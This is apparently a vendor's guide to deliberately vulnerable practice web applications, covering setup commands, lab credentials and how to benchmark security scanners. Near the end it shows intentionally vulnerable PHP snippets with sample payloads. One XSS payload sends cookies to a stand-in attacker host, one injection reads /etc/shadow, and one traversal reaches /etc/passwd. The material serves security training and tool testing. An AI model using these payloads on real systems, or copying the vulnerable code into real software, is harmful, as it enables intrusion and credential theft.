A vulnerable web application is a web application intentionally built with security flaws — SQL injection, cross-site scripting, broken authentication, command injection, and more — so that security professionals, developers, and students can practice finding and exploiting vulnerabilities legally and safely.
This is the complete list of the best vulnerable web applications available in 2026, organized by use case. Each entry includes what it covers, who it’s best for, and how to get it running.
What Is a Vulnerable Web Application?
A deliberately vulnerable web application simulates real-world security weaknesses in a controlled environment. Unlike production systems, they are:
- Legal to attack — built specifically for offensive testing
- Isolated — typically run as Docker containers on your local machine
- Resettable — restart the container to restore the original state
- Educational — most explain why each vulnerability exists and how to prevent it
They serve three main purposes:
- Developer security training — understanding how SQL injection, XSS, and auth bypass work from an attacker’s perspective
- SAST/DAST scanner benchmarking — verifying your security tool detects known vulnerabilities before you trust it on production code
- Certification preparation — hands-on practice for OSCP, eWPT, CEH, and GWAPT
The Complete Vulnerable Web Application List
1. DVWA — Damn Vulnerable Web Application
Language: PHP / MySQL
Best for: Beginners, OWASP Top 10 fundamentals, PHP SAST benchmarking
Difficulty: Beginner → Intermediate
DVWA is the most widely deployed vulnerable web application and the industry-standard starting point for security training. Every vulnerability page includes a source code viewer and comes in three difficulty levels: Low (unobfuscated), Medium (basic evasion), and High (near-production patterns).
Vulnerabilities covered:
- SQL Injection (including boolean-based and time-based blind injection)
- Command Injection
- Cross-Site Scripting (Reflected and Stored)
- CSRF
- Unrestricted File Upload
- Local File Inclusion / Remote File Inclusion (LFI/RFI)
- Brute Force
- Weak Session IDs
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Open http://localhost/ — Credentials: admin / password
# Click "Create / Reset Database" before your first loginWhy use DVWA first: The source code viewer is unique — you can see exactly what makes the Low difficulty code vulnerable, then watch how Medium and High difficulty versions attempt to fix it (and where those fixes fall short). This teaches both offensive and defensive skills simultaneously. For SAST benchmarking, DVWA’s PHP source is the reference implementation — any scanner that misses SQL injection in vulnerabilities/sqli/source/low.php is not production-ready.
2. OWASP Juice Shop
Language: Node.js / Express / Angular
Best for: Realistic DAST testing, modern app architecture, CTF events
Difficulty: Beginner → Expert (100+ challenges)
Juice Shop is the most realistic vulnerable web application available. It’s a modern e-commerce SPA that looks and behaves like a real application, not a lab toy. The built-in scoreboard at /#/score-board tracks 100+ challenges organized by difficulty.
Vulnerabilities covered:
- SQL injection (login form, search endpoint)
- JWT algorithm confusion (RS256 → HS256,
alg: none) - XSS (Reflected, Stored, DOM-based)
- IDOR / BOLA (basket, reviews, admin panel)
- XXE via B2B order upload
- SSRF
- Insecure deserialization (forged coupons)
- OAuth flaws
- Business logic vulnerabilities
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Open http://localhost:3000/
# Visit /#/score-board to see all challengesWhy Juice Shop is the DAST benchmark: Its realistic architecture — authenticated endpoints, a full REST API, file upload, admin section, JWT auth — gives DAST scanners a representative attack surface. Before deploying a DAST scanner against your production application, verify it finds the unobfuscated SQL injection in Juice Shop’s login form. If it misses that, it will miss similar patterns in production.
3. WebGoat
Language: Java / Spring MVC
Best for: Java developers, structured learning, Java SAST benchmarking
Difficulty: Beginner → Intermediate
WebGoat is OWASP’s Java-based security training platform. Each lesson explains a vulnerability category, demonstrates the attack, and requires the student to successfully exploit it before advancing. It’s more structured and classroom-friendly than DVWA.
Vulnerabilities covered:
- SQL Injection (including second-order injection and order-by injection)
- XSS
- Insecure Deserialization (Java ObjectInputStream)
- JWT attacks
- Path Traversal
- XXE
- SSRF
- Access Control failures (IDOR, forced browsing)
- Cryptographic failures
docker run -it -p 8080:8080 -p 9090:9090 webgoat/webgoat
# Open http://localhost:8080/WebGoat — register a new account to startWhy WebGoat for Java teams: WebGoat’s Spring source code contains the same vulnerability patterns found in enterprise Java applications. It’s the reference benchmark for SAST tools targeting Java/Spring codebases — particularly for verifying detection of second-order SQL injection, Spring MVC data binding issues, and Java deserialization vulnerabilities.
4. bWAPP — Buggy Web Application
Language: PHP / MySQL
Best for: Maximum vulnerability breadth, advanced practitioners
Difficulty: Intermediate → Advanced
bWAPP covers 100+ vulnerability types — more than any other single vulnerable web application. It extends far beyond the OWASP Top 10 into vulnerability classes that most other apps don’t include.
Unique coverage beyond OWASP Top 10:
- LDAP injection
- SMTP injection
- HTML5 security issues (localStorage, WebSocket vulnerabilities)
- Heartbleed simulation
- Shellshock simulation
- iFrame injection
- Client-side validation bypass patterns
- XML/XPATH injection
docker run -d -p 80:80 raesene/bwapp
# Open http://localhost/bWAPP/install.php first
# Then http://localhost/bWAPP/login.php — Credentials: bee / bug5. NodeGoat
Language: Node.js / Express / MongoDB
Best for: Node.js SAST benchmarking, JavaScript-specific vulnerabilities
Difficulty: Intermediate
NodeGoat is OWASP’s deliberately vulnerable Node.js application. Unlike Juice Shop, it uses standard Express.js patterns that are more representative of typical Node.js backend APIs.
JavaScript/Node.js-specific vulnerabilities:
- NoSQL injection (MongoDB
$ne,$gtoperator injection) - Server-Side JavaScript injection (
eval()misuse) - Prototype pollution
- Insecure Express session configuration
- Dependency vulnerabilities (intentionally outdated npm packages)
git clone https://github.com/OWASP/NodeGoat
cd NodeGoat && npm install
docker-compose up
# Open http://localhost:4000/ — Default: admin / Admin_1236. OWASP WebScarab NG / AltoroJ (Altoro Mutual)
Language: Java / JSP
Best for: Enterprise DAST benchmarking, banking application simulation
Difficulty: Intermediate
AltoroJ is a vulnerable Java/JSP banking application used by IBM as a security tool benchmark. Its realistic business context — account transfers, transaction history, loan management — provides a more representative enterprise application surface than tutorial-style apps.
git clone https://github.com/AppSecDev/AltoroMutual
cd AltoroMutual && mvn package
java -jar target/altoromutual.war
# Open http://localhost:8080/ — Credentials: admin / admin7. OWASP Mutillidae II
Language: PHP / MySQL
Best for: OWASP Top 10 coverage, web services security, intermediate learners
Difficulty: Beginner → Intermediate
Mutillidae II is a deliberately vulnerable PHP application with 40+ vulnerability categories. It covers OWASP Top 10 plus some API and web service security scenarios that DVWA doesn’t include.
docker run -d -p 80:80 -p 3306:3306 webpwnized/mutillidae
# Open http://localhost/8. Metasploitable
Language: Multiple (Linux VM)
Best for: Network + web combined attacks, OSCP preparation
Difficulty: Intermediate → Advanced
Metasploitable is a deliberately vulnerable Linux VM that includes vulnerable web applications (DVWA, Mutillidae II) alongside network-level vulnerabilities. It’s primarily used for OSCP preparation where web exploitation is part of a full attack chain.
# Download from: https://sourceforge.net/projects/metasploitable/
# Run as a VM in VirtualBox or VMware9. HackTheBox Web Challenges
Platform: Browser-based (hackthebox.com)
Best for: Advanced practitioners, real-world CVE patterns
Difficulty: Intermediate → Expert
HackTheBox web challenges are purpose-built vulnerable applications based on real-world CVE patterns in actual frameworks. Challenges include server-side template injection, prototype pollution, deserialization, race conditions, and chained attack scenarios that go significantly beyond tutorial-style vulnerable apps.
Why different from local apps: HTB challenges are designed by security researchers and represent vulnerabilities found in real production software — not simplified teaching examples.
10. PortSwigger Web Security Academy
Platform: Browser-based (portswigger.net/web-security)
Best for: Structured learning, 200+ guided labs, free
Difficulty: Beginner → Expert
PortSwigger Web Security Academy is the most comprehensive free browser-based security training platform. No Docker, no local setup — labs run entirely in the browser.
Coverage:
- SQL injection (15+ labs including blind, time-based, UNION-based, out-of-band)
- XSS (30+ labs across all contexts)
- SSRF, XXE, CSRF, CORS, clickjacking
- HTTP request smuggling
- Prototype pollution, SSTI, GraphQL injection
- Web cache poisoning, OAuth vulnerabilities
Quick Reference: Which Vulnerable Web Application for Your Goal?
| Goal | Best Vulnerable Application |
|---|---|
| Complete beginner | DVWA (Low difficulty) |
| PHP SAST benchmarking | DVWA |
| Java SAST benchmarking | WebGoat |
| Node.js SAST benchmarking | NodeGoat |
| Realistic DAST testing | OWASP Juice Shop |
| Enterprise DAST benchmark | AltoroJ (Altoro Mutual) |
| Maximum vulnerability breadth | bWAPP |
| 100+ challenges with scoreboard | OWASP Juice Shop |
| Modern real-world attacks | HackTheBox |
| Browser-based (no local setup) | PortSwigger Web Security Academy |
| OSCP preparation (web + network) | Metasploitable + VulnHub |
How to Use Vulnerable Web Applications for Scanner Benchmarking
The primary professional use of deliberately vulnerable web applications is verifying your security tools before deploying them on production code. This tells you what your scanner actually detects, not what the vendor claims.
SAST Benchmarking Procedure
- Clone the source code of DVWA, WebGoat, or NodeGoat from GitHub
- Run your SAST scanner against the source directory
- Verify it flags the known-vulnerable functions:
- DVWA:
vulnerabilities/sqli/source/low.php— SQL injection in raw$_GETparameter - WebGoat: SQL injection in the Java lesson source
- NodeGoat: NoSQL injection in the MongoDB query methods
- DVWA:
- Test Medium and High difficulty levels — same vulnerability, slightly obfuscated
- Measure false positives on High difficulty pages that use safe patterns
Decision rule: If the SAST scanner misses SQL injection in DVWA’s low.php — where the vulnerability is completely unobfuscated with zero complexity — do not deploy it on your production codebase.
DAST Benchmarking Procedure
- Start OWASP Juice Shop in Docker locally
- Configure your DAST scanner with valid authentication credentials
- Run a full authenticated scan
- Verify the scanner finds:
- SQL injection in the login form
- Reflected XSS in the search endpoint
- Missing security headers (Content-Security-Policy, X-Content-Type-Options)
- CORS misconfiguration
- Test the false-positive rate on clearly safe endpoints
Most Common Vulnerability Classes in These Applications
The same vulnerability patterns found in these practice applications appear regularly in enterprise production codebases:
SQL Injection (CWE-89)
// DVWA low.php — completely unobfuscated
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
// Payload: 1' OR '1'='1 — returns all usersThis exact pattern — user input concatenated directly into a SQL query — appears in legacy PHP, ASP.NET, and Java applications regularly. SAST tools must trace the taint from $_GET through to the SQL call.
Cross-Site Scripting (CWE-79)
// Reflected XSS — user input rendered without HTML encoding
$name = $_GET['name'];
echo "<div>Hello, " . $name . "</div>";
// Payload: <script>fetch('https://attacker.com?c='+document.cookie)</script>Command Injection (CWE-78)
// DVWA — user input passed to a shell command
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);
// Payload: 127.0.0.1; cat /etc/shadowPath Traversal (CWE-22)
// User controls the filename — directory traversal is possible
$file = $_GET['page'];
include('/var/www/html/' . $file);
// Payload: ../../../../etc/passwdSetting Up a Vulnerable Web Application Lab
For a complete home lab covering all major vulnerability classes, run three containers simultaneously:
# Terminal 1 — DVWA (PHP/MySQL)
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Terminal 2 — OWASP Juice Shop (Node.js/Angular)
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Terminal 3 — WebGoat (Java/Spring)
docker run -it -p 8080:8080 -p 9090:9090 webgoat/webgoatThis gives you:
- DVWA at
http://localhost/— PHP SAST benchmark, OWASP Top 10 fundamentals - Juice Shop at
http://localhost:3000/— DAST benchmark, modern app architecture - WebGoat at
http://localhost:8080/WebGoat— Java SAST benchmark, structured lessons
All three use minimal RAM and can run simultaneously on any machine with 8 GB.
Frequently Asked Questions
Is it legal to attack a vulnerable web application?
Yes — provided you are running it in your own isolated environment (a local Docker container or a private VM). These applications are explicitly built to be attacked. Never probe a vulnerable web application running on a shared server or someone else’s infrastructure without explicit authorization.
Which vulnerable web application is best for a complete beginner?
Start with DVWA at Low difficulty. Its source code viewer shows exactly what makes the code vulnerable, and the three difficulty levels provide a structured progression: Low → Medium → High. Once you can identify and exploit all DVWA categories at Medium difficulty, move to OWASP Juice Shop for a more realistic challenge.
Do I need Docker to use these applications?
Docker is the simplest setup method for most of these applications — a single command gets you running in under a minute. All applications that run in Docker can alternatively be run from source code by cloning the GitHub repository and following the project’s README setup instructions. PortSwigger Web Security Academy and HackTheBox require no local setup at all.
Which vulnerable web app is best for OSCP preparation?
For OSCP’s web exploitation modules, DVWA (SQL injection, command injection, file inclusion) and OWASP Juice Shop (modern web app vulnerabilities) are the most relevant. For the broader OSCP curriculum — which emphasizes network exploitation, privilege escalation, and Active Directory — VulnHub VMs and HackTheBox full machines provide more targeted preparation.
Can these applications be used to benchmark commercial SAST tools?
Yes — this is one of their primary professional use cases. DVWA, WebGoat, and NodeGoat are used as benchmarks by security tool vendors for validating SAST scanner detection rates. Before purchasing or renewing a SAST tool license, clone one of these repositories and run the scanner against the source — compare what it finds against the known vulnerability list.
Benchmark Your Security Scanner Against Known Vulnerabilities
Offensive360 SAST and DAST are benchmarked against DVWA, Juice Shop, and WebGoat on every release. If you want to see how a real enterprise SAST scanner performs against your actual codebase — not a lab app:
- Book a demo — submit your source code, get a full vulnerability report in minutes
- DAST scan of your web application — authenticated dynamic scanning of your running app
- Book a demo — see Offensive360 scan a deliberately vulnerable application or your own codebase live